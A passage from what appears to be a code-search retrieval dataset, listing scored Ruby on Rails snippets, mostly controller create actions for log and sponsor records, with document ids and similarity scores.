200 }\n end\n #@traceroute = Traceroute.new(params)\n\n #respond_to do |format|\n # if @traceroute.save\n # format.html { redirect_to @traceroute, notice: 'Traceroute was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @traceroute }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n # end\n #end\n end", "title": "" }, { "docid": "b40bb23d2b38b458780e3935a995c27f", "score": "0.538335", "text": "def create\n @temperature_log = TemperatureLog.new(temperature_log_params)\n\n respond_to do |format|\n if @temperature_log.save\n format.html { redirect_to @temperature_log, notice: 'Temperature log was successfully created.' }\n format.json { render :show, status: :created, location: @temperature_log }\n else\n format.html { render :new }\n format.json { render json: @temperature_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3ca2a922f5f5c153002de3be6a46ea9", "score": "0.53764224", "text": "def post_create\n response = self.class.post(\"/service/#{$service_id}/version/#{$service_version}/logging/sftp\", \n headers: { \"Fastly-Key\" => $key},\n body: { \"name\" => \"#{$name}\",\n \"address\" => \"#{$address}\",\n \"port\" => \"22\",\n \"format\" => \"#{$log_format}\",\n \"user\" => \"#{$user}\",\n \"secret_key\" => \"#{$secret_key}\",\n \"public_key\" => \"#{$public_key}\" })\n end", "title": "" }, { "docid": "ad499bf0c7a2a03dd7efd6365168c1c2", "score": "0.53622997", "text": "def create\n @interaction_log = InteractionLog.new(params[:interaction_log])\n\n respond_to do |format|\n if @interaction_log.save\n format.html { redirect_to @interaction_log, notice: 'Interaction log was successfully created.' }\n format.json { render json: @interaction_log, status: :created, location: @interaction_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interaction_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "799fb54c2bc13527e8c104f92cd50e2e", "score": "0.5362259", "text": "def create\n @timelog = Timelog.new(timelog_params)\n @timelog.user_id = current_user.id unless @timelog.user_id\n\n respond_to do |format|\n if @timelog.save\n format.html { redirect_to timelogs_url, notice: 'Timelog was successfully created.' }\n format.json { render :show, status: :created, location: @timelog }\n else\n format.html { render :new }\n format.json { render json: @timelog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b1382046a15211f4de6771c9a7a0571", "score": "0.534229", "text": "def create\n @applicationlog = Applicationlog.new(params[:applicationlog])\n\n respond_to do |format|\n if @applicationlog.save\n format.html { redirect_to @applicationlog, notice: 'Applicationlog was successfully created.' }\n format.json { render json: @applicationlog, status: :created, location: @applicationlog }\n else\n format.html { render action: \"new\" }\n format.json { render json: @applicationlog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f45e17cca89f5ae052bc409d9df902e", "score": "0.5327986", "text": "def activity_log_create\n write_activity_log(:create)\n end", "title": "" }, { "docid": "ea3e5710b4dcf3c9b18f452a4b4cc543", "score": "0.5323812", "text": "def create\n @orden_cobro = OrdenCobro.new(params[:orden_cobro])\n\n respond_to do |format|\n if @orden_cobro.save\n\tlog = Log.new(:NombreTable => \"orden_cobros\", :Fecha => Date.today, :Hora => Time.now, :Usuario => current_user.username, :AccionRealizada => \"Create\")\n\tlog.save\n format.html { redirect_to @orden_cobro, notice: 'Orden cobro was successfully created.' }\n format.json { render json: @orden_cobro, status: :created, location: @orden_cobro }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orden_cobro.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd73d3f4aa02b37dde427b300aadaad4", "score": "0.5323248", "text": "def create\n @weather_log = WeatherLog.new(weather_log_params)\n\n respond_to do |format|\n if @weather_log.save\n format.html { redirect_to @weather_log, notice: 'Weather log was successfully created.' }\n format.json { render :show, status: :created, location: @weather_log }\n else\n format.html { render :new }\n format.json { render json: @weather_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a5b5577a6bbfd2d988211cef4a13796e", "score": "0.53156084", "text": "def store_log(bodyJSON)\n sinceEpoch = (Time.now.to_f * 100000).to_i\n item = {\n LogID: bodyJSON[\"LogID\"],\n SinceEpoch: sinceEpoch,\n log: bodyJSON[\"message\"],\n DeviceSession: bodyJSON[\"DeviceSession\"],\n DeviceID: bodyJSON[\"DeviceID\"],\n TeamID: bodyJSON[\"TeamID\"],\n }\n params = {\n table_name: Visibility_DataStore::Visibility_DynamoDB::TABLE_SESSION_LOGS_OSIRIS,\n item: item\n }\n begin\n result = $dynamodb_WRITE_OSIRIS.put_item(params)\n puts 'Added log'\n rescue Aws::DynamoDB::Errors::ServiceError => error\n puts 'Unable to add session log:'\n puts error.message\n end\nend", "title": "" }, { "docid": "d63c0cac7f254a983a6faeb0281768c4", "score": "0.5310164", "text": "def write(event)\n ls_event= data2logstash_event(event)\n \n sync do\n logstash_device.write(ls_event.to_json+\"\\n\")\n logstash_device.flush\n end\n self\n end", "title": "" }, { "docid": "b802a55b5c0914a6540394b34f987c72", "score": "0.530762", "text": "def food_logs(user_id: '-', date: Date.today)\n return get(\"#{API_URI}/#{FOOD_API_VERSION}/user/#{user_id}/foods/log/date/#{date}.json\")\n end", "title": "" }, { "docid": "36ba2f4588961cddff694457bff11d8a", "score": "0.5303142", "text": "def create\n @order_log = OrderLog.new(params[:order_log])\n\n respond_to do |format|\n if @order_log.save\n format.html { redirect_to @order_log, notice: 'Order log was successfully created.' }\n format.json { render json: @order_log, status: :created, location: @order_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0b0532a9f460125bcc6e795adebf14d", "score": "0.5299976", "text": "def create\n @tmpr_log = Temp.new(tmpr_log_params)\n\n respond_to do |format|\n if @tmpr_log.save\n format.html { redirect_to @tmpr_log, notice: 'Tmpr log was successfully created.' }\n format.json { render :show, status: :created, location: @tmpr_log }\n else\n format.html { render :new }\n format.json { render json: @tmpr_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b017821afcf02eb5bf3310a314f7428d", "score": "0.529938", "text": "def create\n Rails.logger.debug(\"Received event #{params[:event]}\")\n head :ok\n end", "title": "" }, { "docid": "23b7c477ebc9376e0d4033466eb034fc", "score": "0.5294107", "text": "def new\n @event_log_entry = EventLogEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event_log_entry }\n end\n end", "title": "" }, { "docid": "07f63c1bac908d688108adb23f0ce939", "score": "0.5291756", "text": "def create\n @log = Log.new(log_params)\n\n respond_to do |format|\n if @log.save\n format.html { redirect_to admin_log_path(@log), notice: 'Log was successfully created.' }\n# format.json { render action: 'show', status: :created, location: @log }\n format.json {render :json => { :success => :created}}\n else\n format.html { render action: 'new' }\n# format.json { render json: @log.errors, status: :unprocessable_entity }\n format.json { render :json => {:errors => @log.errors, :success => :failed}, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1f506e837b002ab7ab2dc4da630d2e0", "score": "0.52861273", "text": "def create_sleep_log(body)\n post(\"user/#{user_id}/sleep.json\", body)\n end", "title": "" }, { "docid": "3e367991144c6d0049185b0af1f80188", "score": "0.52838016", "text": "def create\n @log = Log.new(log_params)\n @log.user_id = current_user.id\n @log.place_id = params[:post][:place_id]\n\n\n respond_to do |format|\n if @log.save\n format.html { redirect_to logs_path, notice: 'Shift was successfully created.' }\n format.json { render :index, status: :created, location: @log }\n # UserMailer.log_email(@log, '1', current_user).deliver\n else\n format.html { render :new }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "585fdb9d4cf08d26792d8c2762e8fa12", "score": "0.5282493", "text": "def create\n @activity_log = ActivityLog.new(create_params)\n\n respond_to do |format|\n if @activity_log.save\n format.html { redirect_to @activity_log, notice: 'Activity log was successfully created.' }\n format.json { render :show, status: :created, location: @activity_log }\n else\n format.html { render :new }\n format.json { render json: @activity_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ab89ac1647b9c8418bdebf6a6ad0148", "score": "0.52715844", "text": "def push_events\n saved = []\n jsonHash = request.POST[:_json];\n jsonHash.each do |jsonEvent|\n event = Event.new\n event.race_id = jsonEvent[\"raceId\"]\n event.walker_id = jsonEvent[\"walkerId\"]\n event.eventId = jsonEvent[\"eventId\"]\n event.eventType = jsonEvent[\"type\"]\n event.eventData = jsonEvent[\"data\"]\n event.batteryLevel = jsonEvent[\"batL\"]\n event.batteryState = jsonEvent[\"batS\"]\n event.timestamp = Time.zone.parse(jsonEvent[\"time\"])\n if event.save # if new\n saved << jsonEvent[\"eventId\"]\n if event.race_id != 0 # if not unknown race_id\n after_create(event)\n end\n else # if exists\n saved << jsonEvent[\"eventId\"]\n puts \"Not Saved!\" # debug print\n puts jsonEvent # debug print \n end\n end\n render :json => {:savedEventIds => saved}\n end", "title": "" }, { "docid": "0262b25c919761756da7cebe92be5e3b", "score": "0.52688706", "text": "def request_bulk(logs, token, dimensions, application_type)\n # NOTE: X-ApplicationType is not supported for V3 API.\n post_headers = {\n x_auth_token: token,\n content_type: 'application/json'\n }\n\n data = {\n \"dimensions\" => dimensions,\n \"logs\" => logs.map {|message, log_dimensions|\n {\n \"message\" => message,\n # Currently monasca errors if per-message dimensions are omitted.\n \"dimensions\" => log_dimensions,\n }\n }\n }.to_json\n\n @rest_client['logs'].post(data, post_headers)\n end", "title": "" }, { "docid": "ab66dca7a8868b24b7880b60893bed42", "score": "0.5262337", "text": "def create\n @dlog = Dlog.new(params[:dlog])\n\n respond_to do |format|\n if @dlog.save\n format.html { redirect_to @dlog, notice: 'Dlog was successfully created.' }\n format.json { render json: @dlog, status: :created, location: @dlog }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dlog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "843505ba2c473d82b6550fc57f4011ce", "score": "0.5261745", "text": "def create\n @daily_task_log = DailyTaskLog.new(daily_task_log_params)\n\n respond_to do |format|\n if @daily_task_log.save\n format.html { redirect_to @daily_task_log, notice: 'Daily task log was successfully created.' }\n format.json { render :show, status: :created, location: @daily_task_log }\n else\n format.html { render :new }\n format.json { render json: @daily_task_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e3a94bf7759e1d500fcbcc6ac69f80b", "score": "0.52469015", "text": "def create\n @topic_log = TopicLog.new(topic_log_params)\n\n respond_to do |format|\n if @topic_log.save\n format.html { redirect_to @topic_log, notice: 'Topic log was successfully created.' }\n format.json { render :show, status: :created, location: @topic_log }\n else\n format.html { render :new }\n format.json { render json: @topic_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "450909c8dbe00842be1b0a4b9c9d0e27", "score": "0.5245978", "text": "def create\n @vlog = Vlog.new(vlog_params)\n\n respond_to do |format|\n if @vlog.save\n format.html { redirect_to @vlog, notice: 'Vlog was successfully created.' }\n format.json { render :show, status: :created, location: @vlog }\n else\n format.html { render :new }\n format.json { render json: @vlog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "533f600ff536028e90f21ed92957d079", "score": "0.5244521", "text": "def create\n @server_monitor_log = ServerMonitorLog.new(server_monitor_log_params)\n\n respond_to do |format|\n if @server_monitor_log.save\n format.html { redirect_to @server_monitor_log, notice: 'Server monitor log was successfully created.' }\n format.json { render :show, status: :created, location: @server_monitor_log }\n else\n format.html { render :new }\n format.json { render json: @server_monitor_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "316c89400f7d4b8d8982f7206c869b64", "score": "0.52398777", "text": "def create_log\n UserActivityLog.using_client_shard(client: @client).create!(\n user_id: @user_id,\n admin_id: @admin_id,\n log_type: log_type,\n action: @action,\n action_timestamp: @action_timestamp,\n e_data: @e_extra_data\n )\n end", "title": "" }, { "docid": "7cce7b23384338d0292b5ba384cdc6b5", "score": "0.5234821", "text": "def index\n @wr_logs = WrLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wr_logs }\n end\n end", "title": "" }, { "docid": "d72438aa1a61ed5405dff2359b7bdd88", "score": "0.5232374", "text": "def log_params\n params.require(:log).permit(:date_of_session, :time_of_sesion, :details, :reference_code, :client_code, :iname)\n end", "title": "" }, { "docid": "807cc5c882bba802994337229d25148d", "score": "0.5226948", "text": "def create\n @log = Log.new\n @device = Device.find_by_macaddress(params[:macaddress])\n @ip_address = request.remote_ip\n @log_file = params[:log_file]\n @log.device = @device\n @log.ip_address = @ip_address\n @log.log_file = @log_file\n if @device.secret_key == params[:secret_key]\n respond_to do |format|\n if @log.save\n format.html { redirect_to index_logs_path(@device.id, :page => 1), notice: 'Log was successfully created.' }\n format.json { render action: 'show', status: :created, location: index_logs_path(params[:device_id], :page =>1) }\n else\n format.html { render action: 'new' }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to new_log_path, :notice => 'Invalied MAC Address or Secret key'\n end\n end", "title": "" }, { "docid": "8516ab6a8f4f720fa1d402780482232f", "score": "0.5219638", "text": "def create_new_log (log_data)\n new_log = Log.new()\n logs_columns = Log.column_lists\n string_columns = logs_columns[\"string_columns\"]\n string_columns.each do |string_column|\n new_log[string_column] = log_data[string_column]\n end\n time_columns = logs_columns[\"time_columns\"]\n time_columns.each do |time_column|\n new_log[time_column] = Time.at(log_data[time_column].to_f / 1000).getutc\n end\n if new_log[\"application\"].to_s == ''\n new_log[:application] = \"Unknown: \" + request.referer.to_s\n end\n new_log[:parameters] = log_data[\"parameters\"] || {}\n new_log[:extras] = log_data.reject do |key, value|\n key == \"parameters\" || string_columns.include?(key) || time_columns.include?(key)\n end\n\n # first commit the log to the database\n saved = new_log.save\n\n # and then send the log message to the AWS log manager if defined\n if ENV[\"AWS_LOG_MANAGER_URL\"]\n result = HTTParty.post(ENV[\"AWS_LOG_MANAGER_URL\"], :body => log_data.to_json, :headers => {\"Content-Type\" => \"application/json\"})\n if result.code != 201\n logger.error(result)\n end\n end\n\n return saved, new_log\n end", "title": "" }, { "docid": "10d8cade69ce22495c5de711a8eba3d3", "score": "0.5217346", "text": "def log_body_fat(fat, date, time = nil, options = {})\n params = key_value_date_time_params('fat', fat, date, time)\n post_json(path_user_version('/body/log/fat', options), params)\n end", "title": "" }, { "docid": "908b6297b1f876b7db0dc266d5e7e72a", "score": "0.5210929", "text": "def create\n @search_log = SearchLog.new(search_log_params)\n\n respond_to do |format|\n if @search_log.save\n format.html { redirect_to @search_log, notice: \"Search log was successfully created.\" }\n format.json { render :show, status: :created, location: @search_log }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @search_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "855afd2b237eb646aa1ebff5c9006efc", "score": "0.5210005", "text": "def build_body(metric, timestamp, value)\n {\n \"metric\" => metric,\n \"timestamp\" => timestamp,\n \"value\" => value,\n \"tags\" => { \"status\" => \"test\" }\n }.to_json\nend", "title": "" }, { "docid": "9d4ca99a512bb74ffc2fc8e8d9afc730", "score": "0.52077585", "text": "def create\n request.format = :json\n event = params[:event]\n ActiveSupport::Notifications.instrument(\"closeio.#{event[:action]}\", event)\n\n #must return an ok - check Rails version to determine whether to return nothing or head response.\n if ::Rails.version =~ /^4/\n render nothing: true\n else\n head :ok\n end\n end", "title": "" }, { "docid": "ad6b66e3a65ca5d8dd00ff06201ad687", "score": "0.52040154", "text": "def create\n @s_history = SHistory.new(s_history_params)\n\n respond_to do |format|\n if @s_history.save\n logger = MyLogger.instance\n logger.logInformation(\"******** History *******\")\n logger.logInformation(\"New History entry: \" + @s_history.staff.staff_number + ' - ' + @s_history.staff.name + ',' + @s_history.staff.surname)\n logger.logInformation(\"entry type: \" + @s_history.type_ent.description)\n\n format.html { redirect_to @s_history, notice: 'Staff history entry was successfully created.' }\n format.json { render :show, status: :created, location: @s_history }\n else\n format.html { render :new }\n format.json { render json: @s_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6208cb8a233d66f94c77984e63f5523a", "score": "0.5201773", "text": "def create\n @devlog = Devlog.new(devlog_params)\n\n respond_to do |format|\n if @devlog.save\n format.html { redirect_to [:admin, @devlog], notice: 'Devlog was successfully created.' }\n format.json { render :show, status: :created, location: @devlog }\n else\n format.html { render :new }\n format.json { render json: @devlog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "346907d2927b4ce5d3b44a5743dbeb75", "score": "0.51943606", "text": "def create\n @mosttinymobtrail = Mosttinymobtrail.new(params[:mosttinymobtrail])\n\n respond_to do |format|\n if @mosttinymobtrail.save\n format.html { redirect_to @mosttinymobtrail, notice: 'Mosttinymobtrail was successfully created.' }\n format.json { render json: @mosttinymobtrail, status: :created, location: @mosttinymobtrail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mosttinymobtrail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b82967c31220b107aa9ba13e57d4f3c8", "score": "0.51902443", "text": "def log_event(params)\n puts \"Log Details:\"\n puts \"<====================>\"\n puts \"Event Type: #{params['event']}\"\n puts \"Recepient: #{params['recipient']}\"\n puts \"City: #{params['city']}\"\n puts \"Country: #{params['country']}\"\n puts \"Client Type: #{params['client-type']}\"\n puts \"Client Name: #{params['client-name']}\"\n puts \"Device Type: #{params['device-type']}\"\n puts \"Client OS: #{params['client-os']}\"\n puts \"Url Clicked: #{params['url']}\" if params['event'] == \"clicked\"\n puts \"Logged at: #{Time.at(params['timestamp'].to_i).utc.to_datetime}\"\n puts \"<====================>\"\n end", "title": "" }, { "docid": "23fed31f8859172399cce71cd2b6d0b5", "score": "0.51852643", "text": "def create\n @outgoing_message_log = OutgoingMessageLog.new(params[:outgoing_message_log])\n\n respond_to do |format|\n if @outgoing_message_log.save\n format.html { redirect_to @outgoing_message_log, notice: 'Outgoing message log was successfully created.' }\n format.json { render json: @outgoing_message_log, status: :created, location: @outgoing_message_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @outgoing_message_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
e3b91edef95f86b8d7cb683f41edf7e0
POST /admin/sponsors POST /admin/sponsors.xml
[ { "docid": "7f8f921bac109885c753b0474afe8b4c", "score": "0.67508113", "text": "def create\n @sponsor = Sponsor.new(params[:sponsor])\n\n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to(admin_sponsor_path(@sponsor), :notice => 'Sponsor was successfully created.') }\n format.xml { render :xml => @sponsor, :status => :created, :location => @sponsor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sponsor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "a12893e8459da35c004431b16d028a7a", "score": "0.689313", "text": "def create\n @sponsor = @event.sponsors.build(params[:sponsor])\n \n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to([@event, @sponsor], :notice => 'Sponsor was successfully created.') }\n format.xml { render :xml => @sponsor, :status => :created, :location => @sponsor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sponsor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2cc9c8bfe27e830916d3ef6e0e368aa9", "score": "0.66097194", "text": "def create\n @sponsor = Sponsor.new(params[:sponsor])\n respond_to do |format|\n if @sponsor.save\n flash[:notice] = \"Sponsor was successfully created\"\n format.html {redirect_to sponsor_url(@sponsor)}\n format.xml do\n headers[\"Location\"] = sponsor_url(@sponsor)\n render :nothing => true, :status => \"201 Created\"\n end\n else\n format.html {render :action => \"new\"}\n format.xml {render :xml => @sponsor.errors.to_xml}\n end\n end\n end", "title": "" }, { "docid": "01ccdb28be521ffeab2fadf938e8d4f4", "score": "0.64804786", "text": "def create\n @sponsor = @conference.sponsors.new(params[:sponsor])\n\n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to [@conference, @sponsor], notice: 'Sponsor was successfully created.' }\n format.json { render json: @sponsor, status: :created, location: @sponsor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7083441fd9d909bf6c0bd31894658865", "score": "0.64537466", "text": "def new\n @sponsor = @event.sponsors.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sponsor }\n end\n end", "title": "" }, { "docid": "eabf50dde8eefeef7c1e14f4995ce2f8", "score": "0.63761926", "text": "def create\n @sponsor = @trip.sponsors.build(sponsor_params)\n\n if @sponsor.save\n redirect_to admin_trip_sponsors_path(@trip), notice: 'Sponsor was successfully created.'\n else\n render :new\n end\n end", "title": "" }, { "docid": "9ad4e39db148b2af0208f7c43dd9d86d", "score": "0.63165605", "text": "def index\n @sponsors = Sponsor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sponsors }\n end\n end", "title": "" }, { "docid": "9323c7462f080ab1e22370169c43434d", "score": "0.6280378", "text": "def create\n @sponsored = Sponsored.new(params[:sponsored])\n\n respond_to do |format|\n if @sponsored.save\n format.html { redirect_to @sponsored, notice: 'Sponsored was successfully created.' }\n format.json { render json: @sponsored, status: :created, location: @sponsored }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sponsored.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4657bbd480f8845cea9eabf74a7894bb", "score": "0.6253431", "text": "def create\n \n #raise params.to_yaml\n \n @sponsor = Sponsor.new(params[:sponsor])\n respond_to do |format|\n \n #raise @sponsor.to_yaml\n if @sponsor.save\n flash[:notice] = 'Sponsor was successfully created.'\n format.html { redirect_to(admin_sponsor_path(@sponsor)) }\n # format.html { redirect_to( edit_admin_user_path(params[:user])) } \n else\n format.html { render :action => \"new\" }\n end\n end\n end", "title": "" }, { "docid": "2961480c2418665bd0b046ee69b26900", "score": "0.6214736", "text": "def index\n @sponsors = Sponsor.all\n end", "title": "" }, { "docid": "2961480c2418665bd0b046ee69b26900", "score": "0.6214736", "text": "def index\n @sponsors = Sponsor.all\n end", "title": "" }, { "docid": "2961480c2418665bd0b046ee69b26900", "score": "0.6214736", "text": "def index\n @sponsors = Sponsor.all\n end", "title": "" }, { "docid": "5deb40683f80eb3919dbec18269bb90a", "score": "0.6207476", "text": "def create\n @sponsor = Sponsor.new(params[:sponsor])\n\n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to @sponsor, :notice => 'Sponsor was successfully created.' }\n format.json { render :json => @sponsor, :status => :created, :location => @sponsor }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sponsor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fa11974c44d39562eee2e0c0bc8ee5cd", "score": "0.6198566", "text": "def sponsor\n user = current_user\n tournament = Tournament.find params[:id]\n #tournament.sponsors.create(user: user) if user && !tournament.has_sponsor?(user.id)\n redirect_to tournament_path(tournament)\n end", "title": "" }, { "docid": "7e2869e224d9ce9472c28913a7d7fd2d", "score": "0.6191725", "text": "def index\n @api_v1_sponsors = Api::V1::Sponsor.all\n end", "title": "" }, { "docid": "b64583b4aca21491ac469851721545d2", "score": "0.61897266", "text": "def create\n @conference = Conference.find_by_start_date(params[:sponsor][:conference])\n @sponsor = Sponsor.new(:conference => @conference,\n\t :website_url => params[:sponsor][:website_url],\n\t :sponsor_name => params[:sponsor][:sponsor_name],\n\t :logo_path => params[:sponsor][:logo_path],\n\t :priority => params[:sponsor][:priority]\n\t)\n\n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to @sponsor, notice: 'Sponsor was successfully created.' }\n format.json { render :show, status: :created, location: @sponsor }\n else\n format.html { render :new }\n format.json { render json: @sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f4bfc187995bed93ff90dc4005dabe2", "score": "0.61809766", "text": "def create\n @contest = Contest.new(params[:contest])\n @contest.sponsors << Sponsor.find(params[:for_sponsor]) unless params[:for_sponsor].empty?\n respond_to do |format|\n if @contest.save\n flash[:notice] = 'Contest was successfully created.'\n format.html { redirect_to(@contest) }\n format.xml { render :xml => @contest, :status => :created, :location => @contest }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @contest.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b923214fc961e7b807b322720c7ba6f5", "score": "0.6158278", "text": "def create\n @content_sponsor = ContentSponsor.new(params[:content_sponsor])\n\n respond_to do |format|\n if @content_sponsor.save\n format.html { redirect_to content_sponsors_path, notice: 'Content sponsor was successfully created.' }\n format.json { render json: @content_sponsor, status: :created, location: @content_sponsor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content_sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ddbcb9fae6e3833cae89df35053a223", "score": "0.6157198", "text": "def create\n @sponsor = Sponsor.new(params[:sponsor])\n\n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to @sponsor, notice: 'Sponsor was successfully created.' }\n format.json { render json: @sponsor, status: :created, location: @sponsor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ddbcb9fae6e3833cae89df35053a223", "score": "0.6157198", "text": "def create\n @sponsor = Sponsor.new(params[:sponsor])\n\n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to @sponsor, notice: 'Sponsor was successfully created.' }\n format.json { render json: @sponsor, status: :created, location: @sponsor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ddbcb9fae6e3833cae89df35053a223", "score": "0.6157198", "text": "def create\n @sponsor = Sponsor.new(params[:sponsor])\n\n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to @sponsor, notice: 'Sponsor was successfully created.' }\n format.json { render json: @sponsor, status: :created, location: @sponsor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6421d108c8aaf0c8beb91013d4e4fc19", "score": "0.61548924", "text": "def create\n @sponsor = Sponsor.new(params[:sponsor])\n\n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to controller: :public_site, action: :home,\n :notice => 'Thank you! Your application has been submitted, One of our staff will be in contact soon'}\n format.json { render json: @sponsor, status: :created, location: @sponsor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "720e59dc294ed76e27a8f1fe3921eef8", "score": "0.6151933", "text": "def create\n @event_to_sponsor = EventToSponsor.new(params[:event_to_sponsor])\n\n respond_to do |format|\n if @event_to_sponsor.save\n flash[:notice] = 'EventToSponsor was successfully created.'\n format.html { redirect_to(@event_to_sponsor) }\n format.xml { render :xml => @event_to_sponsor, :status => :created, :location => @event_to_sponsor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event_to_sponsor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b0fcee259c6295b0062faa60aa5ab80", "score": "0.613158", "text": "def create\n @sponsor = Sponsor.new(sponsor_params)\n\n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to @sponsor, notice: 'Sponsor was successfully created.' }\n format.json { render :show, status: :created, location: @sponsor }\n else\n format.html { render :new }\n format.json { render json: @sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "170ed558ff665d37933282879f218f17", "score": "0.61116505", "text": "def index\n @sponsors = @event.sponsors.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sponsors }\n end\n end", "title": "" }, { "docid": "c33f32d6582d3e26b229dba201917695", "score": "0.60993207", "text": "def add_sponsor_subscription\n s = subscriptions.create!(:organization => sponsor, :relationship => 'sponsor')\n end", "title": "" }, { "docid": "15ea9fcc5c07dd1ff19249c87d372a3b", "score": "0.60722667", "text": "def create\n @sponser = Sponser.new(sponser_params)\n\n respond_to do |format|\n if @sponser.save\n format.html { redirect_to @sponser, notice: 'Sponser was successfully created.' }\n format.json { render :show, status: :created, location: @sponser }\n else\n format.html { render :new }\n format.json { render json: @sponser.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "416c1d827c668fa463e7dcc5e34c2c31", "score": "0.60684335", "text": "def create\n @sponsor = Sponsor.new(sponsor_params)\n\n respond_to do |format|\n if @sponsor.save\n format.html { redirect_to @sponsor, notice: tr(\"sponsor_created\") }\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "4c122e0bfacfb26fbb2a09f8f12166dd", "score": "0.6037628", "text": "def create\n @api_v1_sponsor = Api::V1::Sponsor.new(api_v1_sponsor_params)\n\n respond_to do |format|\n if @api_v1_sponsor.save\n format.html { redirect_to @api_v1_sponsor, notice: 'Sponsor was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_sponsor }\n else\n format.html { render :new }\n format.json { render json: @api_v1_sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a9436adc09c607af17c38603150eed79", "score": "0.5998299", "text": "def create\n @event_sponsor = EventSponsor.new(event_sponsor_params)\n\n respond_to do |format|\n if @event_sponsor.save\n format.html { redirect_to @event_sponsor, notice: 'Event sponsor was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event_sponsor }\n else\n format.html { render action: 'new' }\n format.json { render json: @event_sponsor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "80b0a955d58c2b7fca0c784fad5793c0", "score": "0.59815156", "text": "def new\n @sponsor = @conference.sponsors.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sponsor }\n end\n end", "title": "" }, { "docid": "8f63303013cca40a7837933d0d5834f0", "score": "0.59309334", "text": "def index\n 